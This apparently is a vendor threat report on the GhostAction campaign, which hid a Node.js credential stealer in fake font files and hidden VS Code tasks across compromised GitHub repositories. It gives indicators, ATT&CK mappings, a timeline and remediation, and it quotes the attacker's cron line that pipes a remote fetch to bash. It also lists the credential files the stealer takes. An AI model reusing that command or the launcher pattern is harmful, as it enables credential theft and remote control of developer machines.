Threat reportSupply ChainTL-2026-3805
GhostAction: Credential-Stealing Malware Hidden in Fake Font Files Across 94 GitHub Repositories
GhostAction: Credential-Stealing Malware Hidden in Fake Font (TL-2026-3805), also tracked as GhostAction Stage 2, is a high-severity supply-chain compromise, first published 2026-10-17. It has no confirmed attribution, affects GitHub GitHub repositories and Actions workflows of compromised, maps to 14 MITRE ATT&CK techniques (T1005, T1036.008, T1053.003), and is covered by 9 detection rules and 20 indicators of compromise.
- Severity
- HIGHAssessed severity
- CVEs
- 0None referenced
- Techniques
- 14MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 20Indicators of compromise
Key facts for TL-2026-3805
- Threat ID
- TL-2026-3805
- Also known as
- GhostAction Stage 2, GhostAction fake font campaign
- Severity
- HIGH
- Status
- ACTIVE
- Category
- SUPPLY_CHAIN
- First published
- Last reviewed
- Attribution confidence
- LOW
- Motivation
- UNKNOWN
- Target sectors
- technology, software-development, open-source
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 20
Malware and tooling in GhostAction: Credential-Stealing Malware Hidden in Fake Font
Malware and tooling: GhostAction, curl
How GhostAction: Credential-Stealing Malware Hidden in Fake Font works
The GhostAction campaign pushed malicious GitHub Actions workflows and, from 2026-10-14/15, a VS Code folderOpen task (eslint-check) that runs a Node.js stealer disguised as public/fonts/fa-solid-400.woff2 in 94 repositories across 66 owners (payload confirmed in all 79 analyzable repos). The stealer harvests SSH keys, cloud/registry tokens and Claude/Gemini credentials, exfiltrates over plain HTTP to 193.32.204.199:8080 and installs a 5-minute cron backdoor on Linux/macOS.
OpenSourceMalware (Jenn Gile) reports a two-stage supply-chain campaign, tracked as GhostAction, that abuses compromised GitHub accounts rather than any software vulnerability (no CVE assigned). Access is most likely obtained through stolen personal access tokens or OAuth grants carrying repo and workflow scopes; a phishing kit targeting maintainers for silent OAuth app authorization (OAuth client ID Ov23ctrqCqZ79UaYKwyq, scopes repo/workflow/read:org) was documented on 2026-10-11, and the related domain my-github.com was registered 2026-10-09. The operator then scripts pushes under the owner's identity to every repository the account can write to, including dormant ones (median 792 days since last commit; 65 of 79 untouched for over a year).
Stage 1 (first pushed 2026-10-08 to 72 repositories between 13:03 and 22:41 UTC) is a malicious GitHub Actions workflow, initially security-audit.yml, that harvests repository secrets from the Actions environment, runs git log -p --all, greps for AWS (AKIA), Anthropic (sk-ant-), GitHub (ghp_), npm and PyPI token patterns, and POSTs the result to 193.32.204.199 (v1: port 80, marker c=new; v2 from 2026-10-12: port 8080 with date-stamped batch tags auto_20261013/14/15 and c=security). After public disclosure on 2026-10-09 and GitHub's blocking of workflow execution, the operator dropped the AKIA_CTX_START body marker and shifted weight to the developer workstation.
Stage 2 (three repos on 2026-10-14; 76 repos on 2026-10-15 between 01:00 and 10:31 UTC) has three components: a launcher in .vscode/tasks.json defining a task labeled eslint-check with runOn: folderOpen that executes node ./public/fonts/fa-solid-400.woff2 with a hidden presentation (reveal: never, hide: true, echo: false); a 38-line unobfuscated Node.js stealer masquerading as a Font Awesome woff2 file; and a cron persistence line (*/5 * * * * curl -s -m 10 http://193.32.204.199:8080/c2/$(hostname) | bash #ghc2) that fetches hostname-keyed commands every five minutes and survives deletion of the repository files. The stealer collects username, hostname, selected environment variables (AWS_, ANTHROPIC, OPENAI, HF_TOKEN, GITHUB_TOKEN, *_API_KEY, *_TOKEN), eight credential files truncated to 3,000 bytes (~/.aws/credentials, ~/.pypirc, ~/.npmrc, ~/.git-credentials, ~/.netrc, ~/.claude/.credentials.json, ~/.gemini/oauth_creds.json, ~/.kube/config), full SSH private keys (id_rsa, id_ed25519), and a recursive home-directory grep (10 s timeout) for token patterns. Data is POSTed in clear text to http://193.32.204.199:8080/?c=<tag> with a DEVBOX report header. VS Code only auto-runs such tasks in trusted workspaces with task.allowAutomaticTasks enabled (default off). On Windows the theft runs but cron persistence cannot install.
The operator adapts quickly: two owners who removed Stage 1 on 2026-10-09 were re-infected with Stage 2 on 2026-10-15, showing retained token access, and second-stage workflow filenames were rotated across lint.yml, ci-check.yml, build-check.yml, repo-health.yml, audit.yml, code-review.yml, test-suite.yml and cache-cleanup.yml. Stage 2 delivered without Stage 1 in at least one repo, so neither stage is a prerequisite.
Relationship to PolinRider: Stage 2 copies PolinRider's fake-font launcher structure (.vscode/tasks.json, eslint-check label, hidden presentation, woff2 file name pattern) but differs materially: plain readable code instead of obfuscation, hardcoded IP over HTTP instead of TRON/Aptos/BNB blockchain dead drops, and a different target set. OpenSourceMalware found no shared indicators establishing common operators, and describes GhostAction as copying PolinRider. One repository was found with both a GhostAction Stage 2 and an independent PolinRider infection. The name GhostAction is also used for an earlier 2025 GitHub Actions secret-theft campaign documented by GitGuardian and StepSecurity; this report relies on OpenSourceMalware's framing of the current activity as an expansion of that campaign and does not independently verify operator overlap. BeaconBeagle returned no record (HTTP 404) for 193.32.204.199 at the time of research.
MITRE ATT&CK techniques used in TL-2026-3805
Collection
T1005 Data from Local System; T1213.003 Code Repositories
Defense Evasion
T1036.008 Masquerade File Type; T1564.003 Hidden Window
Persistence
Execution
T1059.004 Unix Shell; T1059.007 JavaScript
Command and Control
Initial Access
T1078 Valid Accounts; T1195.001 Compromise Software Dependencies and Development Tools
Discovery
T1082 System Information Discovery
Credential Access
T1528 Steal Application Access Token; T1552.001 Credentials In Files; T1552.004 Private Keys
Affected products and versions in GhostAction: Credential-Stealing Malware Hidden in Fake Font
- GitHub — GitHub repositories and Actions workflows of compromised accounts (94 repositories, 66 owners)
Vulnerable versions: Accounts with stolen PAT/OAuth grants having repo and workflow scopes - Microsoft — Visual Studio Code (and compatible IDEs) with automatic tasks enabled in trusted workspaces
Vulnerable versions: Workspaces opened as trusted with task.allowAutomaticTasks enabled
Remediation for GhostAction: Credential-Stealing Malware Hidden in Fake Font
Immediate actions
- From a clean device, revoke all GitHub sessions, personal access tokens and OAuth authorizations for affected accounts before cleaning repositories
- Revoke OAuth grant for client ID Ov23ctrqCqZ79UaYKwyq
- Block egress to 193.32.204.199 (ports 80 and 8080) and block my-github.com
- On any host that opened an affected repo in a trusted VS Code workspace, run crontab -l and remove entries containing 193.32.204.199 or the #ghc2 marker, then rebuild the machine
- Rotate SSH keys, AWS/cloud credentials, npm/PyPI/GitHub tokens, kubeconfig, and Claude/Gemini/other AI service credentials from a clean device
- Rotate all repository Actions secrets and any credential present in git history
Workarounds
- Do not open untrusted repositories in trusted VS Code workspaces
- Delete malicious workflows, tasks.json and font files from all branches and forks (note deletion does not revoke stolen access or remove cron persistence)
Longer-term hardening
- Require approval for workflow runs and protect .github/workflows with required reviews
- Disable force-pushes on protected branches and enable phishing-resistant MFA on GitHub accounts
- Audit GitHub security logs for unexplained sign-ins and token creation
- Keep VS Code task.allowAutomaticTasks at its default (off) and use Workspace Trust restrictively
- Hunt all writable repositories (including dormant ones) and forks for .vscode/tasks.json eslint-check tasks, font-named files containing JavaScript, and workflows posting to external IPs
- Notify anyone who cloned a repository while the malware was present
Weaknesses (CWE) in GhostAction: Credential-Stealing Malware Hidden in Fake Font
Timeline of GhostAction: Credential-Stealing Malware Hidden in Fake Font
- PolinRider, the DPRK-linked campaign whose fake-font .vscode/tasks.json launcher GhostAction later copies, is first publicly disclosed by OpenSourceMalware.
- GhostAction Stage 1 (security-audit.yml exfiltration workflow, v1 on port 80, marker c=new) pushed to 72 repositories between 13:03 and 22:41 UTC.
- StepSecurity, Socket and OpenSourceMalware publish Stage 1 filenames, commit messages and markers; GitHub begins preventing workflow execution. my-github.com is registered the same day.
- Phishing kit targeting maintainers for silent OAuth app authorization (client ID Ov23ctrqCqZ79UaYKwyq; repo, workflow, read:org scopes) is documented.
- Operator moves exfiltration to port 8080 with date-stamped batch tags and drops the AKIA_CTX_START marker; four more repos receive Stage 1 over 2026-10-12 to 2026-10-14.
- Stage 2 (eslint-check task plus fake fa-solid-400.woff2 stealer) first appears in three repositories.
- Main Stage 2 deployment to 76 repositories between 01:00 and 10:31 UTC; two owners who cleaned Stage 1 on 2026-10-09 are re-infected.
- GBHackers and Cyberpress report 94 compromised repositories across 66 owners, with payload confirmed in all 79 analyzable repositories.
Sources cited for GhostAction: Credential-Stealing Malware Hidden in Fake Font
- GhostAction Hackers Hide Credential-Stealing Malware in Fake Font Files Across 94 GitHub Repositories
- GhostAction Copycats PolinRider by Hiding a Stealer in a Fake Font File
- GhostAction Hackers Infect 94 GitHub Repositories With Fake Font Malware to Steal Credentials
- PolinRider Rides Again (OpenSourceMalware)
- PolinRider Spreads Through Compromised GitHub Accounts and Packagist (Socket)
- GhostAction Campaign: 3,325 Secrets Stolen (GitGuardian, 2025 campaign of the same name)
- GhostAction Campaign: Over 3,000 Secrets Stolen Through Malicious GitHub Workflows (StepSecurity)
- Hijacked npm and Go Packages Use VS Code Tasks to Deploy Python Infostealer (The Hacker News)
- Hijacked npm Packages Use Novel VSCode Autorun and Blockchain Dead Drops (JFrog Security Research)
Detection coverage for TL-2026-3805
As of 2026-10-17, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-3805 across Splunk SPL, Microsoft KQL and Sigma, covering 20 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.